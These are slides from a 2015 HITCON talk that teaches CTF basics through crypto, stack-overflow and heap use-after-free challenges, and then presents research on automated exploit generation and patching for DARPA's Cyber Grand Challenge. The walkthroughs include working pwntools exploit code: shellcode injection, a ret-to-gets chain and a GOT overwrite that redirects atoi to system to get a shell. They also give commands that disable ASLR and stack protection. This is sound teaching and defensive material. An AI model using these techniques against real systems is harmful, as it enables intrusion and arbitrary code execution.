Slide 1

Slide 1 text

CTF: Hello, World! HITCON 2015 CTF Conference Dec 5. – Dec 6., 2015 1 黃世昆 交通大學 Shih-Kun Huang 黃俊穎 海洋大學 Chun-Ying Huang

Slide 2

Slide 2 text

How Do You Feel? 2

Slide 3

Slide 3 text

If You Were a … Programmer Hacker Robot 除錯 修補 清理 找錯 脅迫 操控 符號運算、機器學習 CRS: 自動推論系統 CTF CGC 3

Slide 4

Slide 4 text

Outline • CTF and AIS3 Final CTF • CTF Server Setup • Simple Practices • Crypto • Pwn1 • Pwn3 • From CTF to CGC 4

Slide 5

Slide 5 text

CTF • Type of CTFs • Jeopardy – Any type of problems • Attack and Defense – Pwn + Patch • King of the Hill – Pwn + Patch • AIS3 Final CTF • Jeopardy style • Misc, Binary, Pwn, Web, Crypto 5

Slide 6

Slide 6 text

CTF Server Setup • Real server (Linux x64) + QEMU • Tricks for simple CTF • x86 or x64 • Disable stack protector • Allow code execution in stack • Disable ASLR $ gcc -m32 -fno-stack-protector -z execstack \ hello.c -o hello 6

Slide 7

Slide 7 text

Simple Buffer Overflow • Outdated Implementation • Input "A" * 20 7 int func1(int a, int b, int c) { char buffer[8]; // declare a character array of 8 bytes gets(buffer); // read user input string return 0; // return zero } buffer[8] 0x00000000 0xffffffff EBP ret-addr a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... 0x41414141 0x41414141 0x00000000 0xffffffff 0x41414141 0x41414141 0x41414141 Stack grows in this way b c Last Stack Frame Current Stack Frame ... ...

Slide 8

Slide 8 text

Stack Protector • With Stack Protector • Input "A" * 20 8 buffer[8] 0x00000000 0xffffffff EBP ret-addr a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... Canary (?) 0x41414141 0x41414141 0x00000000 0xffffffff 0x41414141 0x41414141 a Stack grows in this way b c Last Stack Frame Current Stack Frame ... ... 0x41414141

Slide 9

Slide 9 text

Code Execution in Stack • Test if a binary enables code execution in stack • Enable code execution in stack (you may need the 'execstack' package) 9 $ execstack -c /path/to/myprog # disallow executable stack $ execstack -q /path/to/myprog - /path/to/myprog $ execstack -s /path/to/myprog # allow executable stack $ execstack -q /path/to/myprog X /path/to/myprog $ readelf –l /path/to/myprog.set | grep –i stack GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RWE 0x10 $ readelf –l /path/to/myprog.clear | grep –i stack GNU_STACK 0x000000 0x00000000 0x00000000 0x00000 0x00000 RW 0x10

Slide 10

Slide 10 text

ASLR • Address Spaces Layout Randomization • Randomized address for heap and stack • Disable ASLR • Randomized stack spaces • Randomized heap and stack spaces (Ubuntu default) 10 echo 0 > /proc/sys/kernel/randomize_va_space echo 1 > /proc/sys/kernel/randomize_va_space echo 2 > /proc/sys/kernel/randomize_va_space

Slide 11

Slide 11 text

ASLR (Cont’d) • Without ASLR (0) • With ASLR (1, 2) 11 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffffd3ac m = 0x804b008 ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xffdf6d8c m = 0x9b03008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xff86930c m = 0x9b1e008 $ ./a.out main = 0x80484cd gets = 0x8048380 buf = 0xfff9b4bc m = 0x88f3008 char buf[64]; printf("main = %p\n", main); printf("gets = %p\n", gets); printf(" buf = %p\n", buf); printf(" m = %p\n", malloc(16));

Slide 12

Slide 12 text

Misc. Issue – xinetd 12 service gagb { disable = no type = UNLISTED id = gagb socket_type = stream protocol = tcp user = gagb group = gagb wait = no server = /home/gagb/gagb port = 9192 }

Slide 13

Slide 13 text

Misc. Issues – Buffering Mode • stdin/stdoutbuffering mode • Line buffered • Fully buffered • No buffered 13 setvbuf(stdin, NULL, _IONBF, 0); setvbuf(stdout, NULL, _IONBF, 0);

Slide 14

Slide 14 text

Misc. Issues – Permissions • Disable access for … • Firewall setup • Default policy is DROP • Only allow required incoming ports • Disallow outgoing connections 14 chmod 751 / chmod 751 /etc chmod 750 /sbin chmod 750 /usr/sbin chmod 551 /proc chmod 551 /dev chmod 711 /home chmod 1773 /tmp ... cd $HOME chown root:$OWNER . binary flag chmod 550 . binary chmod 440 flag

Slide 15

Slide 15 text

Simple Practices • A simple server for CTF: Hello, World! • 1 crypto and 2 pwns (flag @ /home/*/flag) • HITCON CTF Only: Accessible on Dec 5. and Dec 6. 15 http://54.xxx.yyy.zzz/fun.html PLEASE, PLEASE, PLEASE DON’T HACK OUR MACHINE ~>_<~

Slide 16

Slide 16 text

Some Backgrounds • Programming in the UNIX (Linux) environment • A little bit x86 Assembly • Python • Pwntools • Patience 16

Slide 17

Slide 17 text

Practice: Crypto – cry2 Host: 54.xxx.yyy.zzz Port: 5566 Hint: the source code Origin: dada @ nctu 17

Slide 18

Slide 18 text

cry2 – The First Impression 18

Slide 19

Slide 19 text

cry2 – The Source Code 19 1: key = "XXXXXXXXXXXXXXXX” 2: iv = ''.join(random.choice(string.hexdigits) for _ in range(16)) 3: flag = "ais3{NEVERPHDNEVERPHDNEVERPHD..}" # Not real flag ... 4: 5: def encrypt(p): 6: return AES.new(key, AES.MODE_OFB, iv).encrypt(p) ... 7: print encrypt(flag).encode("hex") 8: while True: ... 9: p = ''.join(random.choice(string.lowercase) for _ in range(32)) 10: print encrypt(p).encode("hex")

Slide 20

Slide 20 text

cry2 –Output Feedback (OFB) Mode 20 Block Cipher Encryption (AES) Initial Vector (IV) Ciphertext Plaintext Key Block Cipher Encryption (AES) Ciphertext Plaintext Key Block Cipher Encryption (AES) Ciphertext Plaintext Key

Slide 21

Slide 21 text

Block Cipher Encryption (AES) Initial Vector (IV) Ciphertext Plaintext Key cry2 – Misuse of OFB Mode 21 32-byte strings of lower alphabets Ciphertexts output from cry2 XOR-pad: a 32-byte string

Slide 22

Slide 22 text

cry2 – Solution: Collecting Ciphers 22 9c5a8d2fb81dea8361493cc360865d7b7e8dcf342d8f17774af46a0332cc1e96 9c5f8668b630cbb1526f19ec5eba705d5db9ee1601a6395b78d3512713904091 89509274a62bc5b25e741bec55b86f5548b0fd0901a334587ed655390484449f 9057897db938cba5406b00e44ca9725d5dbee50410a9345177cf4c2a1884578e 9b409578a926dfba507801ef42aa755d4ab2fd110db533557fde4f2607944480 8e549973aa30d5b74d7915ec40b17e4b4cb2ed121aa228487dc35d21108d4780 924a947bbb32deb2437e1ef148b07b424cb1f21e1da73e4569c9422e1a8a5581 855c9877a03cc8b14b6b1cf945a6684f5cb4f5141db136556dc94d2112815d91 90459a64a73bcbb345760afe4cb26f5f4dabfc100da430436dcb5939138c4280 8a5f966ea537daa1407509e54fa4715756aef81b1fa7244b6cd5582610834a80 9a51957db920c4b6506315e453bd7e4a57a5ee1b18b330457ec1503a078f5b98 ... 9b558a66b337dcb45d6d0fe457a5705752aaf4170fac345b62c74b3c1b874a9e 9b40966ba021dca3556b02fe50b068444ea9e81018b323447bc34a2900835699 9354946aa820c4b049631bfa5dab69434da6f0051aa73f4b66ce4b2715864784 This is what we really want to decode 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5 6 7 8 9 0 1

Slide 23

Slide 23 text

cry2 – Use Pwntools • Pwntools • A good CTF framework implemented in python • https://github.com/Gallopsled/pwntools • Quick Installation Guide (Ubuntu) 23 $ sudo apt-get install binutils python-dev python-pip $ sudo pip install pwntools

Slide 24

Slide 24 text

cry2 – Enumerate All Ciphertexts 24 1: #!/usr/bin/env python 2: from pwn import * 3: 4: #r = remote('54.xxx.yyy.zzz', 5566) 5: r = process("./src.py") 6: ciphers = [] 6: 7: while len(ciphers) < 100: 8: s = r.recvline().strip() 9: if len(s) == 64: 10: ciphers.append(s) 11: r.send('\n')

Slide 25

Slide 25 text

cry2 – Pseudocodes to Obtain the XOR-Pad 25 Given c: The list containing n ciphertexts (except the first one) c = [ c1 , c2 , c3 , …, cn ] Suppose cu,v represents the vth byte in ciphertext cu , 1 ≤ u ≤ n pad = ""; for v = 1 to 32: for x = 0 to 255: if x XOR cu,v is a lowercase alphabet for all u in [1, n] pad = pad + x break use pad to decrypt the real ciphertext and obtain the flag

Slide 26

Slide 26 text

cry2 – Security Practice • Correct use of cipher modes • Must be initialized with different IVs 26

Slide 27

Slide 27 text

Practice: Pwn1 – gagb Host: 54.xxx.yyy.zzz Port: 9192 Hint: the binary Origin: chun-ying 27

Slide 28

Slide 28 text

gagb – The First Impression 28

Slide 29

Slide 29 text

gagb – Let’s Look at the Binary (IDA Pro) 29

Slide 30

Slide 30 text

gagb – Let’s Look at the Binary (IDA Pro – Pseudocode View) 30

Slide 31

Slide 31 text

gagb – The Problem 31

Slide 32

Slide 32 text

gagb – Solution • Eh … We have to guess the number first!! • Strategy #1: Play with the game • Pwntools: recv, send … try all possible combinations • Strategy #2: Use the random number trick • Remember we have: srand(time(0)) + rand()? • In python, we can do: 32 1: from ctypes import * 2: cdll.LoadLibrary("libc.so.6") 3: libc = CDLL("libc.so.6") 4: libc.srand(libc.time(0)) 5: print libc.rand();

Slide 33

Slide 33 text

gagb – A Tricky Solution 33 1: r = process("./gagb"); # this is from pwntools … 2: num = "" 3: while len(num) < 4: 4: while True: 5: d = chr(libc.rand() % 10 + 48) 6: if len(set(num + d)) == len(num + d): 7: num = num + d 8: break 9: print r.recv() 10: print num 11: r.send(num + '\n') 12: print r.recv() • Use ntpdateto synchronize your system clock • You may need to uncheck "Hardware Clock in UTC Time" if you are playing with VirtualBox or other virtual machines …

Slide 34

Slide 34 text

gagb – The Overflow Part: Strategy #1 • The old tricks • You have to guess the stack address • Fill "A"*28 + addr + NOP*n + shellcode 34 context(arch = 'i386', os = 'linux') ... shell = asm(shellcraft.sh()) r.send('A'*28 + p32(0xffffdd70) + "\x90" * 400 + shell + "\n") r.interactive()

Slide 35

Slide 35 text

gagb – The Overflow Part: Strategy #1 (Cont’d) 35 0x4141...41 0x00000000 0xffffffff 0x41414141 Jump to stack Stack grows in this way ... ... 0x90909090 ... ... 0x90909090 shellcode s[24] 0x00000000 0xffffffff EBP ret-addr Stack grows in this way Last Stack Frame Current Stack Frame ... ...

Slide 36

Slide 36 text

gagb – The Overflow Part: Strategy #2 (1/3) • We would not like to guess any more L • Ask 'gets()' to do something for us • Remember that 'gets()' requires one arguments – the address to store the user input string 36

Slide 37

Slide 37 text

gagb – The Overflow Part: Strategy #2 (2/3) • We want the stack to looks like … 37 s[24] 0x00000000 0xffffffff EBP addr of gets() Stack grows in this way ... ... ret-addr argument #1 return addr after gets() address for gets() to fill garbage

Slide 38

Slide 38 text

gagb – The Overflow Part: Strategy #2 (3/3) • gets@pltcan be obtained using objdump -d gagb • After gets() finished, the program jumps to the buffer that we have filled the shell code 38 r.send('A'*28 + p32(0x08048430) # gets@plt + p32(0x0804a034) + p32(0x0804a034) # any writable address + p32(0x12345678) * 100 + "\n") # garbage r.send(shell + "\n") # fill gets() buffer r.interactive() 08048430 : 8048430: ff 25 0c a0 04 08 jmp *0x804a00c ; in GOT table 8048436: 68 00 00 00 00 push $0x0 804843b: e9 e0 ff ff ff jmp 8048420

Slide 39

Slide 39 text

gagb – Security Practice • No more gets() • Use /dev/urandomor /dev/random • Or, alternatively, at least do 39 srand(time(0) ^ getpid());

Slide 40

Slide 40 text

Practice: Pwn3 – phddb Host: 54.xxx.yyy.zzz Port: 3333 Hint: the binary, and the system C library Origin: angelboy @ ncu 40

Slide 41

Slide 41 text

phddb – The First Impression 41

Slide 42

Slide 42 text

phddb – Let’s Look at the Binary (Assembly) 42 We have symbols

Slide 43

Slide 43 text

phddb – Let’s Look at the Binary (Pseudocode) 43

Slide 44

Slide 44 text

phddb – Feature Summary • Data stored in heap – use malloc() • dump • add • Allocate header first (32 bytes) • Allocate thesis-text according to the given length • edit • Modify header content • Reallocate thesis-text if necessary • remove 44 thesis text ... thesis text ... ... ... 0x00000000 0xffffffff name[20] age length *thesis name[20] age length *thesis Record #0 Record #1

Slide 45

Slide 45 text

phddb – The Problem: editphd() 45 realloc(ptr, 0) == free(ptr) !?

Slide 46

Slide 46 text

phddb – Solution (1/6) 46 1. Add two records 2. Edit records #0 3. Add one more record thesis text ... thesis text ... ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 thesis text ... freed ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2

Slide 47

Slide 47 text

phddb – Solution (2/6) • We want to know the real address of atoi in memory • We can then know the C library base • Real address of atoi minus atoi’s offset in C library • Use objdump -d libc.so.6 to get atoi’s offset • From objdump -d phddb, we got the GOT entry address for atoi is 0x804b03c 47 08048560 : 8048560: ff 25 3c b0 04 08 jmp *0x804b03c 8048566: 68 60 00 00 00 push $0x60 804856b: e9 20 ff ff ff jmp 8048490 <_init+0x30>

Slide 48

Slide 48 text

phddb – Solution (3/6) • Edit record #0 • Fill thesis text using: • "A" * 24 • 0x20 (length) • 0x804b03c • GOT entry is a function pointer to the real address of a function (in .so) • Dump record #2 • Reveal atoi(?) 48 atoi (?) c99_scanf ... ... GOT 0x804b03c 0x804b038 0x804b040 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2

Slide 49

Slide 49 text

phddb – Solution (4/6) • The atoi’s real address is right after the third colon ':' (0x3a) • Note: It’s little endian 49 6e 61 6d 65 3a 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 41 20 0a 61 67 65 3a 31 30 39 34 37 39 35 35 38 35 0a 74 68 65 73 69 73 3a 0a 60 95 e5 f7 0a 7c 2d 2d 2d 2d 2d 2d 2d 2d 2d 2d 50 48 44 64 62 20 4d 65 6e 75

Slide 50

Slide 50 text

phddb – Solution (5/6) • Recall that the main function does read() + atoi() • We can replace atoi’s GOT entry value to any functionwe want to call • Replace atoi’s GOT entry value with the real address of system(), and then send 'sh\n' • Simple arithmetic • atoi‘s real address = 0xf7e59560 • atoi offset in C library = 0x31560 • system offset in C library = 0x3fcd0 • system’s real address= 0xf7e59560 – 0x31560 + 0x3fcd0 = 0xf7e67cd0 50

Slide 51

Slide 51 text

phddb – Solution (6/6) • Edit record #0 • Fill thesis text using: • "A" * 24 • 0x20 (length) • 0xf7e67cd0 • read() + atoi() now becomes read() + system() • Send 'sh\n' 51 atoi (0xf7e59560) c99_scanf ... ... GOT 0x804b03c 0x804b038 0x804b040 thesis text ... thesis text ... ... 0x00000000 0xffffffff name (aaa) age length (32) *thesis name (bbb) age length (32) *thesis Record #0 Record #1 name (ccc) age length (32) *thesis Record #2 Record #2 system (0xf7e67cd0)

Slide 52

Slide 52 text

phddb – Security Practice • GOT hijacking • Never use-after-free • Special case of realloc(ptr, size) 52

Slide 53

Slide 53 text

From CTF to CGC 從工人智慧搶旗 到 人工智慧自動攻防 53

Slide 54

Slide 54 text

Security is Bugs. From Linus Torvalds 54

Slide 55

Slide 55 text

From CTF to CGC • The Cyber War • Cyber Army • Capture The Flag (CTF) • Information security competition • Cyber Grand Challenge (CGC) • All-computer CTF tournament • Held by DARPA of US DoD with the DEFCON Conference in Las Vegas in 2016 55

Slide 56

Slide 56 text

Objective • Build a Cyber Reasoning System(CRS) • Follow CGC rules • Automatic attack and defense • Automatic Attack • Analyze the program binary to find the failure • Generate exploit • Payload to bypass mitigation • Automatic Defense • Analyze the program to find the fault • Find the faulty point • Patch the fault in binary level 56

Slide 57

Slide 57 text

Pre-Exploitation Peri-Exploitation End-Exploitation Post-Exploitation security auditing tools (nessus, metasploit, sqlmap) developer bug forensic tools Software Exploitation Framework

Slide 58

Slide 58 text

CRS Integration for CGC - Attack ● Target-aware Symbolic Fuzzing ● Automatic Exploit Generation ● Anti-Mitigation Payload Generation ● Post Exploitation Integration Fuzzer 測、脅、隱、控

Slide 59

Slide 59 text

CRS Integration for CGC - Defense ● Fault Localization (path) ● Data Slicing (data) ● Patching Site Isolation 測、修、補、清

Slide 60

Slide 60 text

Automatic Attack 60

Slide 61

Slide 61 text

Integration ● Automatic Exploit Generation (CRAX) ● Post Exploitation Framework (Metasploit)

Slide 62

Slide 62 text

Integration - CRAX

Slide 63

Slide 63 text

Integration - CRAX with ROP

Slide 64

Slide 64 text

Result – Compare with ROPgadget • ROPgadget: Common open source search and chain gadgets tool Tool Compare Exploit Strengthening ROPgadget Gadget Type Long/Short Gadgets Short Gadgets Payload Type Turing complete ROP Payload API One type payload Integrate CRAX + Metasploit

Slide 65

Slide 65 text

Result – Compare with ROPgadget • Payload type: exevc(“/bin/sh”) Program Name Program Size Exploit Strengthening ROPgadget Total Gadgets Time Generate Payload Time Generate Payload gdb 7.7.1 4.9M 133K 36.2s True 278s True nautilus 3.10.1 1.4M 58K 13.9s True -- False gpg 1.4.16 971K 25K 5.5s True 17.1s True vim.tiny 7.4 806K 25K 5.0s True -- False lshw b.02.16 755K 8K 2.4s True -- False gcc 4.8 700K 4K 2.9s True 10.7s True objdump 2.24 333K 8K 1.4s True -- False readom 1.1.11 180K 4.9K 0.9s True -- False curl 7.35.0 149K 2.9K 0.7s True -- False factor 8.21 104K 2.3K 0.5s True -- False

Slide 66

Slide 66 text

Result– with Different Program Size ● Forty programs in /usr/bin, size between 100KB and 5MB.

Slide 67

Slide 67 text

Automatic Defense 67

Slide 68

Slide 68 text

Method - CRS Architecture 68

Slide 69

Slide 69 text

Method - Dstar algorithm • CF : Covered & Failed • CS : Covered & Successful • UF : Uncovered & Failed • US : Uncovered & Successful • Calculate the ranking from the formula : !"# $"%!& 69

Slide 70

Slide 70 text

Method - Dynamic Slicing • An entire program tree → a path • We need more information for patching 70

Slide 71

Slide 71 text

Method - Dynamic Slicing 71

Slide 72

Slide 72 text

Method - Patching • According to the CGC rule, CRS must patch the binary program without source code • There are different tricks to patch different faults • We must analyze the type of fault before patching it • Our CRS is targeted at stack-based buffer overflow 72

Slide 73

Slide 73 text

Evaluation • 24 challenge binaries (CB) for testing • The fault of types include : • CWE-121: Stack-based Buffer Overflow • CWE-122: Heap based Buffer Overflow • CWE-787: Out-of-bounds Write • CWE-476: NULL Pointer Dereference • …. • We choose the stack-based overflow CBs to evaluate our CRS. 73

Slide 74

Slide 74 text

Evaluation - Summary Challenge id Fault type Method 1 Method 2 Availability Security Availability Security CADET_00001 2 Success Success Success Success CROMU_00007 3 Failed Success Failed Failed KPRCA_00001 1 Failed Failed Success Success LUNGE_00005 3 Failed Failed Success Success NRFIN_00003 2 Success Success Failed Failed 74

Slide 75

Slide 75 text

Evaluation - preliminary Scored Event Challenge id Availability Security Both Total CADET_00001 72 44 37 80 CROMU_00007 20 12 9 25 KPRCA_00001 126 121 116 139 LUNGE_00005 61 33 27 70 NRFIN_00003 58 24 9 79 75

Slide 76

Slide 76 text

Conclusions • We propose an automatic binary patch method for CGC • Fault localization • Binary Patch • Our method can succeed in patching five challenge binaries • Only fail in one availability test • All security tests pass 76

Slide 77

Slide 77 text

相關系統 • CRAX • Automatic Exploit Generation (Non-Web 攻擊生成) • https://github.com/SQLab/CRAX • CRAXWeb • Web Exploit Generation (Web 攻擊生成) • https://github.com/SQLab/CRAXWeb • Ropchain (ROP bypassing ASLR, DEP payload 生成) • ROP Payload Generation • https://github.com/SQLab/ropchain • CRAXfuzz • Symbolic Fuzzing Framework (符號形式之模糊測試) • CRAXcrs • Automatic Defense by Fault Localization and Dynamic Patch (錯誤定位與自動修補達成自動化 防禦) 77

Slide 78

Slide 78 text

Q & A Thanks for your attention! 78